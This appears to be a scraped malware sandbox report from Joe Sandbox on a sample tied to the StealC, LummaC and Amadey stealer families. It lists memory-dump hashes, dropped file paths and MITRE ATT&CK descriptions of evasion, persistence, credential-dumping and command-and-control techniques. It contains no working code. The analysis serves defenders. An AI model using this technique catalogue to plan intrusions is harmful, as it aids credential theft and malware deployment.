Associated: 00000004.00000002.2535641405.0000000000C07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535684003.0000000000C16000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2535702268.0000000000C18000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_960000_Z3WVQPAQZN7WXE31OIKO79M3XY.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 6b72305bac30a8b0f07dfe5303fcbaed5df6936e2285117e72b22c5335d8ab09
Instruction ID: ff9d55b87e86aa3ab945d18efdcbbfc8baf3ab0016a88caeac8786176cfda8c3
Opcode Fuzzy Hash: 6b72305bac30a8b0f07dfe5303fcbaed5df6936e2285117e72b22c5335d8ab09
Instruction Fuzzy Hash: F3D05EB6809385DFD7009F50990167E76E0EF50740F20883DE88646200F6758C10EB87

Analysis Process: FMQRQQBV70LQ52SA3P6LYU.exePID: 3704, Parent PID: 1048COMMON

Executed Functions

Function 04EA0CD1 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2456203533.0000000004EA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4ea0000_FMQRQQBV70LQ52SA3P6LYU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f86a745edf579451f300740653ffac0c9953a755680f6b7d6186260c9c0a76c
Instruction ID: f14b3938b2345b1680f7cd4a401ea7af7bcec4281aa9913f95fc09b54d714072
Opcode Fuzzy Hash: 6f86a745edf579451f300740653ffac0c9953a755680f6b7d6186260c9c0a76c
Instruction Fuzzy Hash: 1831B4EB24D2507EF60289912B50AF76B6DE6C7630335D477F406CA502F2947E5E7132

Function 04EA0D44 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2456203533.0000000004EA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4ea0000_FMQRQQBV70LQ52SA3P6LYU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13d17aedc9ec9797702aae6209ba4e3f3f87e32a154183e01929e9d0a60826ad
Instruction ID: 13a8f7faaceaec08c46938c31e082ffe27d6d7b8a3ae775aa97bc01eb4c35ad3
Opcode Fuzzy Hash: 13d17aedc9ec9797702aae6209ba4e3f3f87e32a154183e01929e9d0a60826ad
Instruction Fuzzy Hash: A421D3EB24D2507EE6138A502A549F76F7DEAD723033494A7F402CE542F2847E6E7232

Function 04EA0D61 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2456203533.0000000004EA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4ea0000_FMQRQQBV70LQ52SA3P6LYU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 516a6690ac1659dfe7f614f36f8656fa129af256135cdc1383356ff3a54eb90f
Instruction ID: a97eebb56003adadcfe303f1492a9ba04db8c85e82906234c9f114971928dce5
Opcode Fuzzy Hash: 516a6690ac1659dfe7f614f36f8656fa129af256135cdc1383356ff3a54eb90f
Instruction Fuzzy Hash: F011A3EB24C110BEB55299852B54AFB6BADE6D6670330D437B407CA502F2947E6D3031

Function 04EA0D76 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2456203533.0000000004EA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4ea0000_FMQRQQBV70LQ52SA3P6LYU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 720d68bc8ea0eea08404673cf6c29c74f2db421a645b07285c863c6630cf1a2f
Instruction ID: 1e6ac352c32971f26dd9df2a7343eea74cd632e71668e309f31eaf8ff6568cf0
Opcode Fuzzy Hash: 720d68bc8ea0eea08404673cf6c29c74f2db421a645b07285c863c6630cf1a2f
Instruction Fuzzy Hash: E311A5EB24C110BEF51299952754AFB6BADE6D6670730E877F403CA602F2947E6E3031

Function 04EA0D86 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2456203533.0000000004EA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4ea0000_FMQRQQBV70LQ52SA3P6LYU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5f126ad8a3623884cece8cc5784c849eaf6ac6bb9140f82e7ab8b37b8655cc7
Instruction ID: 5e949b1808691821b9485449a2c612dad2cc09307ab0e2a047d5aa3cb6c53b31
Opcode Fuzzy Hash: a5f126ad8a3623884cece8cc5784c849eaf6ac6bb9140f82e7ab8b37b8655cc7
Instruction Fuzzy Hash: 4611E5EB24C110BEA5129A412754AFB6BADFAD6670330D437B403CA602F2947E2D3131

Function 04EA0DA8 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2456203533.0000000004EA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4ea0000_FMQRQQBV70LQ52SA3P6LYU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28715fcc14831d453131250f90b06ede88c4a2c777b66894670e28bb221bd9d7
Instruction ID: bf4a39e41ebc97706c987c071fe3b3e2f4d70695d5b9adb504fb16fcadfce1ab
Opcode Fuzzy Hash: 28715fcc14831d453131250f90b06ede88c4a2c777b66894670e28bb221bd9d7
Instruction Fuzzy Hash: 3901F7EB28C110BEE9135A9512449F77EAAFADB5703319476B003DF602F6E4BE297131

Function 04EA0DCA Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2456203533.0000000004EA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4ea0000_FMQRQQBV70LQ52SA3P6LYU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11718f3174871d4fdf2d8b91c43313e2332c42747fc9c2ee016ac2b601565842
Instruction ID: 5e59db369f3383777b10f8917e503cbc66eeb6ac3ca7237593de5740798d6be7
Opcode Fuzzy Hash: 11718f3174871d4fdf2d8b91c43313e2332c42747fc9c2ee016ac2b601565842
Instruction Fuzzy Hash: A70168A720C200AEDB025B545A186F77FA9FB97230734986BB002CB543F2A47A68B131

Function 04EA0E05 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2456203533.0000000004EA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4ea0000_FMQRQQBV70LQ52SA3P6LYU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aac54e501db8a8e0b2f01e900957a1339daa8ade6ff42c8f19c6feae0405b6a2
Instruction ID: 064c3706adee7792c6746d1fa8ecbc79bc8f02ffa720f9152a58b8657cae4640
Opcode Fuzzy Hash: aac54e501db8a8e0b2f01e900957a1339daa8ade6ff42c8f19c6feae0405b6a2
Instruction Fuzzy Hash: C8017B9B18C1106EDE225A5016096F63F3AB78727033594A7F003CE143F285BB3B7232

Function 04EA0E5A Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2456203533.0000000004EA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4ea0000_FMQRQQBV70LQ52SA3P6LYU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f803a8423bb9ca4d44c493edeb83d92dc89a0906c5b829a5c7e044e1ba8710e5
Instruction ID: 5754d32851e314a6f91ef4a2d116dcf22aebf697397bf5f6cc9fe932cc0230ad
Opcode Fuzzy Hash: f803a8423bb9ca4d44c493edeb83d92dc89a0906c5b829a5c7e044e1ba8710e5
Instruction Fuzzy Hash: 75F0289B248110AFD9165AA111085F76F3AB6875B0334E866F043CF442E184BD7B7131

Function 04EA0E4D Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2456203533.0000000004EA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4ea0000_FMQRQQBV70LQ52SA3P6LYU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef3f5a6f4912cf7e0f1056c4a3774df0f2c8b9a8c1891f01b9497c7746247961
Instruction ID: 1545d2a47779246dcf1caf7d5b99a04e607c5d3cdb1c0bc308e81a4a9a2b63c9
Opcode Fuzzy Hash: ef3f5a6f4912cf7e0f1056c4a3774df0f2c8b9a8c1891f01b9497c7746247961
Instruction Fuzzy Hash: BAE07D5B14802195CC213E9112845FB7E74F9971B23745833F003CF402E294A86E7131

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\FVJELX1J0WZE21U53029YWO.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\I2N109OTNRC1U5QURKF07D4TDEJX.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Z3WVQPAQZN7WXE31OIKO79M3XY.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\hostname[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre